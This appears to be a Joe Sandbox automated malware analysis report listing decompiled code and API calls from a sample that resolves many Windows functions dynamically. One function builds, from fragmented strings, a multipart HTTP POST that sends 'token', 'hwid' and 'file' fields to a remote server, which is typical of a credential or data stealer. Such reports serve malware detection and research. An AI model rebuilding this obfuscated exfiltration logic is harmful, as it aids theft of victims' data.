					_t70 =  *0x4680bc; // 0x769c0000
					_t71 = GetProcAddress(_t70, _t369);
					_t275 =  *0x456ea4; // 0x43f7d60
					_t370 =  *0x4680bc; // 0x769c0000
					 *0x4680d0 = _t71;
					_t72 = GetProcAddress(_t370, _t275);
					_t276 =  *0x4680bc; // 0x769c0000
					 *0x4680dc = _t72;
					_t73 =  *0x457044; // 0x43f7b98
					_t74 = GetProcAddress(_t276, _t73);
					_t371 =  *0x456eb0; // 0x43f7c10
					 *0x468078 = _t74;
					_t75 =  *0x4680bc; // 0x769c0000
					 *0x4680ac = GetProcAddress(_t75, _t371);
				}
				_t23 =  *0x467f6c; // 0x76b60000
				if(_t23 != 0) {
					_t268 =  *0x456ed4; // 0x43f6c60
					_t55 = GetProcAddress(_t23, _t268);
					_t363 =  *0x4570e0; // 0x43f6d00
					 *0x468064 = _t55;
					_t56 =  *0x467f6c; // 0x76b60000
					_t57 = GetProcAddress(_t56, _t363);
					_t269 =  *0x4571bc; // 0x43f6e20
					_t364 =  *0x467f6c; // 0x76b60000
					 *0x467ec8 = _t57;
					 *0x467fbc = GetProcAddress(_t364, _t269);
				}
				_t24 =  *0x4680b0; // 0x76370000
				if(_t24 != 0) {
					_t266 =  *0x456e98; // 0x43f7e20
					_t51 = GetProcAddress(_t24, _t266);
					_t361 =  *0x456b7c; // 0x43f6940
					 *0x46809c = _t51;
					_t52 =  *0x4680b0; // 0x76370000
					_t53 = GetProcAddress(_t52, _t361);
					_t267 =  *0x456d88; // 0x43f6aa0
					_t362 =  *0x4680b0; // 0x76370000
					 *0x467f90 = _t53;
					 *0x468018 = GetProcAddress(_t362, _t267);
				}
				_t25 =  *0x467f84; // 0x762c0000
				if(_t25 != 0) {
					_t262 =  *0x456e74; // 0x43f7b50
					_t42 = GetProcAddress(_t25, _t262);
					_t357 =  *0x456bbc; // 0x43f7c58
					 *0x4680fc = _t42;
					_t43 =  *0x467f84; // 0x762c0000
					_t44 = GetProcAddress(_t43, _t357);
					_t263 =  *0x456c74; // 0x43f7c88
					_t358 =  *0x467f84; // 0x762c0000
					 *0x467f34 = _t44;
					_t45 = GetProcAddress(_t358, _t263);
					_t264 =  *0x467f84; // 0x762c0000
					 *0x468068 = _t45;
					_t46 =  *0x456d6c; // 0x43f7ca0
					_t47 = GetProcAddress(_t264, _t46);
					_t359 =  *0x457228; // 0x4372288
					 *0x467ffc = _t47;
					_t48 =  *0x467f84; // 0x762c0000
					_t49 = GetProcAddress(_t48, _t359);
					_t265 =  *0x457110; // 0x43f6980
					_t360 =  *0x467f84; // 0x762c0000
					 *0x467eb8 = _t49;
					 *0x467ef4 = GetProcAddress(_t360, _t265);
				}
				_t26 =  *0x4680a0; // 0x73950000
				if(_t26 != 0) {
					_t261 =  *0x456f98; // 0x43f7cd0
					 *0x467fa8 = GetProcAddress(_t26, _t261);
				}
				_t27 =  *0x467f5c; // 0x73580000
				if(_t27 != 0) {
					_t352 =  *0x456efc; // 0x2538638
					_t28 = GetProcAddress(_t27, _t352);
					_t256 =  *0x467f5c; // 0x73580000
					 *0x467efc = _t28;
					_t29 =  *0x456db4; // 0x43f6bc0
					_t30 = GetProcAddress(_t256, _t29);
					_t353 =  *0x456e1c; // 0x2538688
					 *0x467f4c = _t30;
					_t31 =  *0x467f5c; // 0x73580000
					_t32 = GetProcAddress(_t31, _t353);
					_t257 =  *0x456c34; // 0x43f7cb8
					_t354 =  *0x467f5c; // 0x73580000
					 *0x468004 = _t32;
					_t33 = GetProcAddress(_t354, _t257);
					_t258 =  *0x467f5c; // 0x73580000
					 *0x468044 = _t33;
					_t34 =  *0x45704c; // 0x43f7d78
					_t35 = GetProcAddress(_t258, _t34);
					_t355 =  *0x45736c; // 0x43f6920
					 *0x468024 = _t35;
					_t36 =  *0x467f5c; // 0x73580000
					_t37 = GetProcAddress(_t36, _t355);
					_t259 =  *0x456ea0; // 0x43f6b80
					_t356 =  *0x467f5c; // 0x73580000
					 *0x467fd8 = _t37;
					_t38 = GetProcAddress(_t356, _t259);
					_t260 =  *0x467f5c; // 0x73580000
					 *0x467f18 = _t38;
					_t39 =  *0x457360; // 0x43f7d90
					_t40 = GetProcAddress(_t260, _t39);
					 *0x468098 = _t40;
					return _t40;
				}
				return _t27;
			}

0x00424cb0
0x00424cb7
0x00424cbd
0x00424cc5
0x00424ccb
0x00424cd1
0x00424cd6
0x00424cdd
0x00424ce3
0x00424ce9
0x00424cf1
0x00424cf6
0x00424cfc
0x00424d02
0x00424d07
0x00424d0e
0x00424d14
0x00424d1a
0x00424d1f
0x00424d26
0x00424d2c
0x00424d32
0x00424d3a
0x00424d3f
0x00424d45
0x00424d4b
0x00424d50
0x00424d57
0x00424d5d
0x00424d63
0x00424d68
0x00424d6f
0x00424d75
0x00424d7b
0x00424d83
0x00424d88
0x00424d8e
0x00424d94
0x00424d99
0x00424da0
0x00424da6
0x00424dac
0x00424db1
0x00424db8
0x00424dbe
0x00424dc4
0x00424dcc
0x00424dd1
0x00424dd7
0x00424ddd
0x00424de2
0x00424de9
0x00424def
0x00424df5
0x00424dfa
0x00424e01
0x00424e07
0x00424e0d
0x00424e15
0x00424e1a
0x00424e20
0x00424e26
0x00424e2b
0x00424e32
0x00424e38
0x00424e3e
0x00424e43
0x00424e4a
0x00424e50
0x00424e56
0x00424e5e
0x00424e63
0x00424e69
0x00424e6f
0x00424e74
0x00424e7b
0x00424e81
0x00424e87
0x00424e8c
0x00424e93
0x00424e99
0x00424e9f
0x00424ea7
0x00424eac
0x00424eb2
0x00424eb8
0x00424ebd
0x00424ec4
0x00424eca
0x00424ed0
0x00424ed5
0x00424edc
0x00424ee2
0x00424ee8
0x00424ef0
0x00424ef5
0x00424efb
0x00424f01
0x00424f06
0x00424f0d
0x00424f13
0x00424f19
0x00424f1e
0x00424f25
0x00424f2b
0x00424f31
0x00424f39
0x00424f44
0x00424f49
0x00424f4e
0x00424f56
0x00424f5c
0x00424f62
0x00424f67
0x00424f6e
0x00424f74
0x00424f7a
0x00424f82
0x00424f87
0x00424f8d
0x00424f93
0x00424f98
0x00424f9f
0x00424fa5
0x00424fab
0x00424fb0
0x00424fb7
0x00424fbd
0x00424fc3
0x00424fcb
0x00424fd0
0x00424fd6
0x00424fdc
0x00424fe1
0x00424fe8
0x00424fee
0x00424ff4
0x00424ff9
0x00425000
0x00425006
0x0042500c
0x00425014
0x00425019
0x0042501f
0x00425025
0x0042502a
0x00425031
0x00425037
0x0042503d
0x00425042
0x00425049
0x0042504f
0x00425055
0x0042505d
0x00425062
0x00425068
0x0042506e
0x00425073
0x0042507a
0x00425080
0x00425086
0x0042508b
0x00425092
0x00425098
0x0042509e
0x004250a6
0x004250ab
0x004250b1
0x004250b7
0x004250bc
0x004250c3
0x004250c9
0x004250cf
0x004250d4
0x004250db
0x004250e1
0x004250e7
0x004250ef
0x004250f4
0x004250fa
0x00425100
0x00425105
0x0042510c
0x00425112
0x00425118
0x0042511d
0x00425124
0x0042512a
0x00425130
0x00425138
0x0042513d
0x00425143
0x00425149
0x0042514e
0x00425155
0x0042515b
0x00425161
0x00425166
0x0042516d
0x00425173
0x00425179
0x00425181
0x00425186
0x0042518c
0x00425192
0x00425197
0x0042519e
0x004251a4
0x004251aa
0x004251af
0x004251b6
0x004251bc
0x004251c2
0x004251ca
0x004251d5
0x004251da
0x004251df
0x004251e7
0x004251ed
0x004251f3
0x004251f8
0x004251ff
0x00425205
0x0042520b
0x00425213
0x00425218
0x0042521e
0x00425224
0x00425229
0x00425230
0x00425236
0x0042523c
0x00425241
0x0042524e
0x0042524e
0x00425253
0x0042525a
0x00425260
0x00425267
0x0042526c
0x00425272
0x00425277
0x0042527d
0x00425283
0x0042528a
0x0042528f
0x00425295
0x0042529c
0x004252a7
0x004252ac
0x004252b2
0x004252b8
0x004252bf
0x004252c4
0x004252ca
0x004252d1
0x004252d6
0x004252dc
0x004252e1
0x004252e7
0x004252ed
0x004252f4
0x004252f9
0x004252ff
0x00425306
0x0042530b
0x00425311
0x00425316
0x0042531d
0x00425323
0x0042532b
0x00425331
0x00425337
0x0042533c
0x00425343
0x00425349
0x0042534f
0x00425357
0x0042535c
0x00425362
0x00425368
0x0042536d
0x00425374
0x0042537a
0x00425380
0x00425385
0x0042538c
0x00425392
0x00425398
0x004253a0
0x004253ab
0x004253ab
0x004253b0
0x004253b7
0x004253b9
0x004253c1
0x004253c7
0x004253cd
0x004253d2
0x004253d9
0x004253df
0x004253e5
0x004253ed
0x004253f8
0x004253f8
0x004253fd
0x00425404
0x0042540a
0x00425412
0x00425418
0x0042541e
0x00425423
0x0042542a
0x00425430
0x00425436
0x0042543e
0x00425443
0x00425449
0x0042544f
0x00425454
0x0042545b
0x00425461
0x00425467
0x0042546c
0x00425473
0x00425479
0x0042547f
0x00425487
0x0042548c
0x00425492
0x00425498
0x0042549d
0x004254a4
0x004254aa
0x004254b0
0x004254b5
0x004254bc
0x004254c2
0x004254c8
0x004254d0
0x004254d5
0x004254db
0x004254e1
0x004254e6
0x004254ed
0x004254f3
0x004254f9
0x004254fe
0x00425505
0x0042550b
0x00425511
0x00425519
0x0042551e
0x00425524
0x0042552a
0x0042552f
0x00425536
0x0042553c
0x00425542
0x00425547
0x0042554e
0x00425554
0x0042555a
0x00425562
0x0042556d
0x0042556d
0x00425572
0x00425579
0x0042557f
0x00425587
0x0042558d
0x00425593
0x00425598
0x0042559f
0x004255a5
0x004255ab
0x004255b3
0x004255b8
0x004255be
0x004255c4
0x004255c9
0x004255d0
0x004255d6
0x004255dc
0x004255e1
0x004255e8
0x004255ee
0x004255f4
0x004255fc
0x00425601
0x00425607
0x0042560d
0x00425612
0x00425619
0x0042561f
0x00425625
0x0042562a
0x00425631
0x00425637
0x0042563d
0x00425645
0x0042564a
0x00425650
0x00425656
0x0042565b
0x00425662
0x00425668
0x0042566e
0x00425673
0x0042567a
0x00425680
0x00425686
0x0042568e
0x00425693
0x00425699
0x0042569f
0x004256a4
0x004256b1
0x004256b1
0x004256b6
0x004256bd
0x004256c3
0x004256cb
0x004256d1
0x004256d7
0x004256dc
0x004256e3
0x004256e9
0x004256ef
0x004256f4
0x004256fb
0x00425701
0x00425707
0x0042570f
0x00425714
0x0042571a
0x00425720
0x00425725
0x0042572c
0x00425732
0x00425738
0x0042573d
0x00425744
0x0042574a
0x00425750
0x00425758
0x00425763
0x00425763
0x00425768
0x0042576f
0x00425771
0x00425779
0x0042577f
0x00425785
0x0042578a
0x00425791
0x00425797
0x0042579d
0x004257a5
0x004257aa
0x004257b0
0x004257b6
0x004257bb
0x004257c2
0x004257c8
0x004257ce
0x004257d3
0x004257e0
0x004257e0
0x004257e5
0x004257ec
0x004257f2
0x004257fa
0x00425800
0x00425806
0x0042580b
0x00425812
0x00425818
0x0042581e
0x00425826
0x0042582b
0x00425831
0x00425837
0x0042583c
0x00425843
0x00425849
0x0042584f
0x00425854
0x0042585b
0x00425861
0x00425867
0x0042586f
0x00425874
0x0042587a
0x00425880
0x00425885
0x0042588c
0x00425892
0x00425898
0x0042589d
0x004258a4
0x004258aa
0x004258b0
0x004258b8
0x004258bd
0x004258c3
0x004258c9
0x004258ce
0x004258d5
0x004258db
0x004258e1
0x004258e6
0x004258f3
0x004258f3
0x004258f8
0x004258ff
0x00425901
0x00425909
0x0042590f
0x00425915
0x0042591a
0x00425921
0x00425927
0x0042592d
0x00425935
0x00425940
0x00425940
0x00425945
0x0042594c
0x0042594e
0x00425956
0x0042595c
0x00425962
0x00425967
0x0042596e
0x00425974
0x0042597a
0x00425982
0x0042598d
0x0042598d
0x00425992
0x00425999
0x0042599f
0x004259a7
0x004259ad
0x004259b3
0x004259b8
0x004259bf
0x004259c5
0x004259cb
0x004259d3
0x004259d8
0x004259de
0x004259e4
0x004259e9
0x004259f0
0x004259f6
0x004259fc
0x00425a01
0x00425a08
0x00425a0e
0x00425a14
0x00425a1c
0x00425a27
0x00425a27
0x00425a2c
0x00425a33
0x00425a35
0x00425a43
0x00425a43
0x00425a48
0x00425a4f
0x00425a55
0x00425a5d
0x00425a63
0x00425a69
0x00425a6e
0x00425a75
0x00425a7b
0x00425a81
0x00425a86
0x00425a8d
0x00425a93
0x00425a99
0x00425aa1
0x00425aa6
0x00425aac
0x00425ab2
0x00425ab7
0x00425abe
0x00425ac4
0x00425aca
0x00425acf
0x00425ad6
0x00425adc
0x00425ae2
0x00425aea
0x00425aef
0x00425af5
0x00425afb
0x00425b00
0x00425b07
0x00425b0d
0x00000000
0x00425b0d
0x00425b12

APIs

GetProcAddress.KERNEL32(771A0000,043F6548), ref: 00424CC5
GetProcAddress.KERNEL32(771A0000,043F6F40), ref: 00424CDD
GetProcAddress.KERNEL32(771A0000,043F6410), ref: 00424CF6
GetProcAddress.KERNEL32(771A0000,02538520), ref: 00424D0E
GetProcAddress.KERNEL32(771A0000,043F6350), ref: 00424D26
GetProcAddress.KERNEL32(771A0000,043F6E80), ref: 00424D3F
GetProcAddress.KERNEL32(771A0000,043F65A8), ref: 00424D57
GetProcAddress.KERNEL32(771A0000,043F6368), ref: 00424D6F
GetProcAddress.KERNEL32(771A0000,043F6458), ref: 00424D88
GetProcAddress.KERNEL32(771A0000,043F63B0), ref: 00424DA0
GetProcAddress.KERNEL32(771A0000,043F65C0), ref: 00424DB8
GetProcAddress.KERNEL32(771A0000,043F64A0), ref: 00424DD1
GetProcAddress.KERNEL32(771A0000,043F63C8), ref: 00424DE9
GetProcAddress.KERNEL32(771A0000,043F6FA0), ref: 00424E01
GetProcAddress.KERNEL32(771A0000,043F63E0), ref: 00424E1A
GetProcAddress.KERNEL32(771A0000,043F6638), ref: 00424E32
GetProcAddress.KERNEL32(771A0000,043F67B8), ref: 00424E4A
GetProcAddress.KERNEL32(771A0000,043F6E60), ref: 00424E63
GetProcAddress.KERNEL32(771A0000,043F6788), ref: 00424E7B
GetProcAddress.KERNEL32(771A0000,043F66F8), ref: 00424E93
GetProcAddress.KERNEL32(771A0000,043F67D0), ref: 00424EAC
GetProcAddress.KERNEL32(771A0000,043F6710), ref: 00424EC4
GetProcAddress.KERNEL32(771A0000,043F67A0), ref: 00424EDC
GetProcAddress.KERNEL32(771A0000,043F6668), ref: 00424EF5
GetProcAddress.KERNEL32(771A0000,043F6698), ref: 00424F0D
GetProcAddress.KERNEL32(771A0000,043F66B0), ref: 00424F25
GetProcAddress.KERNEL32(771A0000,043F67E8), ref: 00424F3E
GetProcAddress.KERNEL32(771A0000,043F6CA0), ref: 00424F56
GetProcAddress.KERNEL32(771A0000,043F6680), ref: 00424F6E
GetProcAddress.KERNEL32(771A0000,043F6650), ref: 00424F87
GetProcAddress.KERNEL32(771A0000,043F6D40), ref: 00424F9F
GetProcAddress.KERNEL32(771A0000,02538548), ref: 00424FB7
GetProcAddress.KERNEL32(771A0000,043F66C8), ref: 00424FD0
GetProcAddress.KERNEL32(771A0000,043F66E0), ref: 00424FE8
GetProcAddress.KERNEL32(771A0000,043F6EC0), ref: 00425000
GetProcAddress.KERNEL32(771A0000,043F6728), ref: 00425019
GetProcAddress.KERNEL32(771A0000,043F6740), ref: 00425031
GetProcAddress.KERNEL32(771A0000,043F6EE0), ref: 00425049
GetProcAddress.KERNEL32(771A0000,043F6758), ref: 00425062
GetProcAddress.KERNEL32(771A0000,043F6770), ref: 0042507A
GetProcAddress.KERNEL32(771A0000,043F7D18), ref: 00425092
GetProcAddress.KERNEL32(771A0000,043F6CC0), ref: 004250AB
GetProcAddress.KERNEL32(771A0000,043F6F60), ref: 004250C3
GetProcAddress.KERNEL32(771A0000,043F6F80), ref: 004250DB
GetProcAddress.KERNEL32(771A0000,043F7BC8), ref: 004250F4
GetProcAddress.KERNEL32(771A0000,043F7DC0), ref: 0042510C
GetProcAddress.KERNEL32(771A0000,043F6FC0), ref: 00425124
GetProcAddress.KERNEL32(771A0000,043F6FE0), ref: 0042513D
GetProcAddress.KERNEL32(771A0000,02538700), ref: 00425155
GetProcAddress.KERNEL32(771A0000,043F6C40), ref: 0042516D
GetProcAddress.KERNEL32(771A0000,043F6CE0), ref: 00425186
GetProcAddress.KERNEL32(771A0000,043F7B68), ref: 0042519E
GetProcAddress.KERNEL32(771A0000,043F7B80), ref: 004251B6
GetProcAddress.KERNEL32(771A0000,043F7DA8), ref: 004251CF
GetProcAddress.KERNEL32(771A0000,02538660), ref: 004251E7
GetProcAddress.KERNEL32(771A0000,043F7E38), ref: 004251FF
GetProcAddress.KERNEL32(771A0000,043F7D48), ref: 00425218
GetProcAddress.KERNEL32(771A0000,043F6D60), ref: 00425230
GetProcAddress.KERNEL32(771A0000,043F6D80), ref: 00425248
LoadLibraryA.KERNEL32(043B4750,0041035A,1A5A77C2), ref: 0042525A
LoadLibraryA.KERNEL32(043B4798), ref: 0042526C
LoadLibraryA.KERNEL32(043F6038), ref: 0042527D
LoadLibraryA.KERNEL32(043B45A0), ref: 0042528F
LoadLibraryA.KERNEL32(043B4738), ref: 004252A1
LoadLibraryA.KERNEL32(043B47E0), ref: 004252B2
LoadLibraryA.KERNEL32(043B47F8), ref: 004252C4
LoadLibraryA.KERNEL32(043F7C70), ref: 004252D6
LoadLibraryA.KERNEL32(043F7C28), ref: 004252E7
LoadLibraryA.KERNEL32(043F7E08), ref: 004252F9
LoadLibraryA.KERNEL32(043F7BE0), ref: 0042530B
GetProcAddress.KERNEL32(76DF0000,02538138), ref: 0042532B
GetProcAddress.KERNEL32(76DF0000,025324C0), ref: 00425343
GetProcAddress.KERNEL32(76DF0000,02538228), ref: 0042535C
GetProcAddress.KERNEL32(76DF0000,02532780), ref: 00425374
GetProcAddress.KERNEL32(76DF0000,02538368), ref: 0042538C
GetProcAddress.KERNEL32(76DF0000,043B47B0), ref: 004253A5
GetProcAddress.KERNEL32(76C30000,025326E0), ref: 004253C1
GetProcAddress.KERNEL32(76C30000,043F6DA0), ref: 004253D9
GetProcAddress.KERNEL32(76C30000,025325E0), ref: 004253F2
GetProcAddress.KERNEL32(758E0000,043F6188), ref: 00425412
GetProcAddress.KERNEL32(758E0000,02532660), ref: 0042542A
GetProcAddress.KERNEL32(758E0000,043F6128), ref: 00425443
GetProcAddress.KERNEL32(758E0000,043F6218), ref: 0042545B
GetProcAddress.KERNEL32(758E0000,043F62D8), ref: 00425473
GetProcAddress.KERNEL32(758E0000,043F6308), ref: 0042548C
GetProcAddress.KERNEL32(758E0000,043F60E0), ref: 004254A4
GetProcAddress.KERNEL32(758E0000,0253C2B8), ref: 004254BC
GetProcAddress.KERNEL32(758E0000,025327C0), ref: 004254D5
GetProcAddress.KERNEL32(758E0000,043F7DD8), ref: 004254ED
GetProcAddress.KERNEL32(758E0000,043F6DC0), ref: 00425505
GetProcAddress.KERNEL32(758E0000,043F6DE0), ref: 0042551E
GetProcAddress.KERNEL32(758E0000,043F7BB0), ref: 00425536
GetProcAddress.KERNEL32(758E0000,043F7BF8), ref: 0042554E
GetProcAddress.KERNEL32(758E0000,043F7DF0), ref: 00425567
GetProcAddress.KERNEL32(6F130000,02532860), ref: 00425587
GetProcAddress.KERNEL32(6F130000,025325A0), ref: 0042559F
GetProcAddress.KERNEL32(6F130000,02532760), ref: 004255B8
GetProcAddress.KERNEL32(6F130000,02532600), ref: 004255D0
GetProcAddress.KERNEL32(6F130000,02532620), ref: 004255E8
GetProcAddress.KERNEL32(6F130000,043F62C0), ref: 00425601
GetProcAddress.KERNEL32(6F130000,025326C0), ref: 00425619
GetProcAddress.KERNEL32(6F130000,043F6278), ref: 00425631
GetProcAddress.KERNEL32(6F130000,02532700), ref: 0042564A
GetProcAddress.KERNEL32(6F130000,025326A0), ref: 00425662
GetProcAddress.KERNEL32(6F130000,02532740), ref: 0042567A
GetProcAddress.KERNEL32(6F130000,025327E0), ref: 00425693
GetProcAddress.KERNEL32(6F130000,043F6BE0), ref: 004256AB
GetProcAddress.KERNEL32(752B0000,02532640), ref: 004256CB
GetProcAddress.KERNEL32(752B0000,043F6068), ref: 004256E3
GetProcAddress.KERNEL32(752B0000,04372138), ref: 004256FB
GetProcAddress.KERNEL32(752B0000,043F60B0), ref: 00425714
GetProcAddress.KERNEL32(752B0000,043F6320), ref: 0042572C
GetProcAddress.KERNEL32(752B0000,043F62A8), ref: 00425744
GetProcAddress.KERNEL32(752B0000,02532880), ref: 0042575D
GetProcAddress.KERNEL32(760E0000,02532800), ref: 00425779
GetProcAddress.KERNEL32(760E0000,043F6050), ref: 00425791
GetProcAddress.KERNEL32(760E0000,043F7C40), ref: 004257AA
GetProcAddress.KERNEL32(760E0000,043F6960), ref: 004257C2
GetProcAddress.KERNEL32(760E0000,043F6B40), ref: 004257DA
GetProcAddress.KERNEL32(769C0000,02532680), ref: 004257FA
GetProcAddress.KERNEL32(769C0000,043F6080), ref: 00425812
GetProcAddress.KERNEL32(769C0000,02532820), ref: 0042582B
GetProcAddress.KERNEL32(769C0000,043F6098), ref: 00425843
GetProcAddress.KERNEL32(769C0000,04372158), ref: 0042585B
GetProcAddress.KERNEL32(769C0000,043F60F8), ref: 00425874
GetProcAddress.KERNEL32(769C0000,025324A0), ref: 0042588C
GetProcAddress.KERNEL32(769C0000,043F6EA0), ref: 004258A4
GetProcAddress.KERNEL32(769C0000,043F7D60), ref: 004258BD
GetProcAddress.KERNEL32(769C0000,043F7B98), ref: 004258D5
GetProcAddress.KERNEL32(769C0000,043F7C10), ref: 004258ED
GetProcAddress.KERNEL32(76B60000,043F6C60), ref: 00425909
GetProcAddress.KERNEL32(76B60000,043F6D00), ref: 00425921
GetProcAddress.KERNEL32(76B60000,043F6E20), ref: 0042593A
GetProcAddress.KERNEL32(76370000,043F7E20), ref: 00425956
GetProcAddress.KERNEL32(76370000,043F6940), ref: 0042596E
GetProcAddress.KERNEL32(76370000,043F6AA0), ref: 00425987
GetProcAddress.KERNEL32(762C0000,043F7B50), ref: 004259A7
GetProcAddress.KERNEL32(762C0000,043F7C58), ref: 004259BF
GetProcAddress.KERNEL32(762C0000,043F7C88), ref: 004259D8
GetProcAddress.KERNEL32(762C0000,043F7CA0), ref: 004259F0
GetProcAddress.KERNEL32(762C0000,04372288), ref: 00425A08
GetProcAddress.KERNEL32(762C0000,043F6980), ref: 00425A21
GetProcAddress.KERNEL32(73950000,043F7CD0), ref: 00425A3D
GetProcAddress.KERNEL32(73580000,02538638), ref: 00425A5D
GetProcAddress.KERNEL32(73580000,043F6BC0), ref: 00425A75
GetProcAddress.KERNEL32(73580000,02538688), ref: 00425A8D
GetProcAddress.KERNEL32(73580000,043F7CB8), ref: 00425AA6
GetProcAddress.KERNEL32(73580000,043F7D78), ref: 00425ABE
GetProcAddress.KERNEL32(73580000,043F6920), ref: 00425AD6
GetProcAddress.KERNEL32(73580000,043F6B80), ref: 00425AEF
GetProcAddress.KERNEL32(73580000,043F7D90), ref: 00425B07

Memory Dump Source

Source File: 00000001.00000002.3693314502.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3693314502.0000000000467000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.3693314502.000000000046B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID:
API String ID: 2238633743-0
Opcode ID: 3b408dc80564e1832cd3de983ee9eb7aae971fa0d2fedca770de8323e8234a3c
Instruction ID: ff02fe40d27a3c6ebb80c43c92bb56dd38e9c690e3b4043f32bcf2d877d1761f
Opcode Fuzzy Hash: 3b408dc80564e1832cd3de983ee9eb7aae971fa0d2fedca770de8323e8234a3c
Instruction Fuzzy Hash: EA9254B5618600AFD748DF64FD48D2677B9F788205301877AE905C3361FBB9A848CF2A

Uniqueness

Uniqueness Score: -1.00%

Function 00414D10 Relevance: 193.0, APIs: 79, Strings: 31, Instructions: 477
stringnetworkmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 00414D90
_memset.LIBCMT ref: 00414DA3
_memset.LIBCMT ref: 00414DB6
GetProcessHeap.KERNEL32(00000000,00800000,00000000,00000000,0043F323,000000FF,?,0040D359,00455078,00000000), ref: 00414DC5
RtlAllocateHeap.NTDLL(00000000,?,0040D359,00455078,00000000), ref: 00414DCC
_memset.LIBCMT ref: 00414DE2
InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00414DFF
InternetSetOptionA.WININET ref: 00414E23
StrCmpCA.SHLWAPI(00000000,https://), ref: 00414E43
lstrcat.KERNEL32(?,00000000), ref: 00414E74
lstrcat.KERNEL32(00000000,0044B55C), ref: 00414E80
lstrcat.KERNEL32(00000000,------), ref: 00414E8C
lstrcat.KERNEL32(00000000,?), ref: 00414E9A
lstrcat.KERNEL32(00000000,0044B568), ref: 00414EA6
lstrcat.KERNEL32(00000000,0044B56C), ref: 00414EB2
lstrcat.KERNEL32(?,Cont), ref: 00414EC4
lstrcat.KERNEL32(?,ent-Typ), ref: 00414ED6
lstrcat.KERNEL32(?,e: multip), ref: 00414EE8
lstrcat.KERNEL32(?,art/for), ref: 00414EFA
lstrcat.KERNEL32(?,m-data; ), ref: 00414F0C
lstrcat.KERNEL32(?,boun), ref: 00414F1E
lstrcat.KERNEL32(?,dary=), ref: 00414F30
lstrcat.KERNEL32(?,----), ref: 00414F42
lstrcat.KERNEL32(?,?), ref: 00414F56
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00414F7B
HttpOpenRequestA.WININET(00000000,POST,?,HTTP/1.1,00000000,00000000,00400100,00000000), ref: 00414FEF
lstrcat.KERNEL32(?,------), ref: 0041500F
lstrcat.KERNEL32(?,?), ref: 00415023
lstrcat.KERNEL32(?,0044B5E8), ref: 00415035
lstrcat.KERNEL32(?,Content-Disposition: form-data; name="), ref: 00415047
lstrcat.KERNEL32(?,0044B614), ref: 00415059
lstrcat.KERNEL32(?,"), ref: 0041506B
lstrcat.KERNEL32(?,00000000), ref: 0041509B
lstrcat.KERNEL32(?,0044B620), ref: 004150C8
lstrcat.KERNEL32(?,------), ref: 004150DA
lstrcat.KERNEL32(?,?), ref: 004150EE
lstrcat.KERNEL32(?,0044B62C), ref: 00415100
lstrcat.KERNEL32(?,Content-Disposition: form-data; name="), ref: 00415112
lstrcat.KERNEL32(?,token), ref: 00415124
lstrcat.KERNEL32(?,"), ref: 00415136
lstrcat.KERNEL32(?,?), ref: 0041514A
lstrcat.KERNEL32(?,0044B668), ref: 0041515C
lstrcat.KERNEL32(?,------), ref: 0041516E
lstrcat.KERNEL32(?,?), ref: 00415182
lstrcat.KERNEL32(?,0044B674), ref: 00415194
lstrcat.KERNEL32(?,Content-Disposition: form-data; name="), ref: 004151A6
lstrcat.KERNEL32(?,hwid), ref: 004151B8
lstrcat.KERNEL32(?,"), ref: 004151CA
lstrcat.KERNEL32(?,?), ref: 004151DE
lstrcat.KERNEL32(?,0044B6B0), ref: 004151F0
lstrcat.KERNEL32(?,------), ref: 00415202
lstrcat.KERNEL32(?,?), ref: 00415216
lstrcat.KERNEL32(?,0044B6BC), ref: 00415228
lstrcat.KERNEL32(?,Content-Disposition: form-data; name="), ref: 0041523A
lstrcat.KERNEL32(?,file), ref: 0041524C
lstrcat.KERNEL32(?,"), ref: 0041525E
lstrlen.KERNEL32(00000000), ref: 00415265
lstrlen.KERNEL32(?), ref: 00415274
GetProcessHeap.KERNEL32(00000000,?), ref: 00415285
RtlAllocateHeap.NTDLL(00000000), ref: 0041528C
lstrlen.KERNEL32(?), ref: 0041529B
_memmove.LIBCMT ref: 004152AA
lstrlen.KERNEL32(?,?,?,00000002,?,00000004), ref: 004152C7
_memmove.LIBCMT ref: 004152D0
lstrlen.KERNEL32(00000000), ref: 004152D9
lstrlen.KERNEL32(?,00000000,00000000), ref: 004152E8
_memmove.LIBCMT ref: 004152F7
lstrlen.KERNEL32(?,00000000,?), ref: 00415319
HttpSendRequestA.WININET(?,?,00000000), ref: 0041532E
HttpQueryInfoA.WININET(?,00000013,?,?,00000000), ref: 00415347
StrCmpCA.SHLWAPI(?,200), ref: 0041535D
Sleep.KERNEL32(00007530), ref: 0041536C
InternetReadFile.WININET(?,?,000007CF,00000000), ref: 00415398
lstrcat.KERNEL32(?,00000000), ref: 004153C2
InternetReadFile.WININET(?,00000000,000007CF,00000000), ref: 004153E2
InternetCloseHandle.WININET(00000000), ref: 004153FF
InternetCloseHandle.WININET(?), ref: 00415406
InternetCloseHandle.WININET(00000000), ref: 0041540D

Strings

ent-Typ, xrefs: 00414ECA
200, xrefs: 00415351
Content-Disposition: form-data; name=", xrefs: 0041503B
------, xrefs: 004150CE
HTTP/1.1, xrefs: 00414FE3
", xrefs: 004151BE
token, xrefs: 00415118
art/for, xrefs: 00414EEE
POST, xrefs: 00414FCD
------, xrefs: 00415162
Content-Disposition: form-data; name=", xrefs: 00415106
", xrefs: 0041512A
Cont, xrefs: 00414EB8
------, xrefs: 00415003
HTTP/1.1, xrefs: 00414FC7
------, xrefs: 004151F6
------, xrefs: 00414E86
----, xrefs: 00414F36
POST, xrefs: 00414FE9
", xrefs: 00415252
m-data; , xrefs: 00414F00
file, xrefs: 00415240
", xrefs: 0041505F
hwid, xrefs: 004151AC
https://, xrefs: 00414E29
xPE, xrefs: 00414D39, 0041542B
dary=, xrefs: 00414F24
Content-Disposition: form-data; name=", xrefs: 0041519A
Content-Disposition: form-data; name=", xrefs: 0041522E
boun, xrefs: 00414F12
e: multip, xrefs: 00414EDC

Memory Dump Source

Source File: 00000001.00000002.3693314502.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

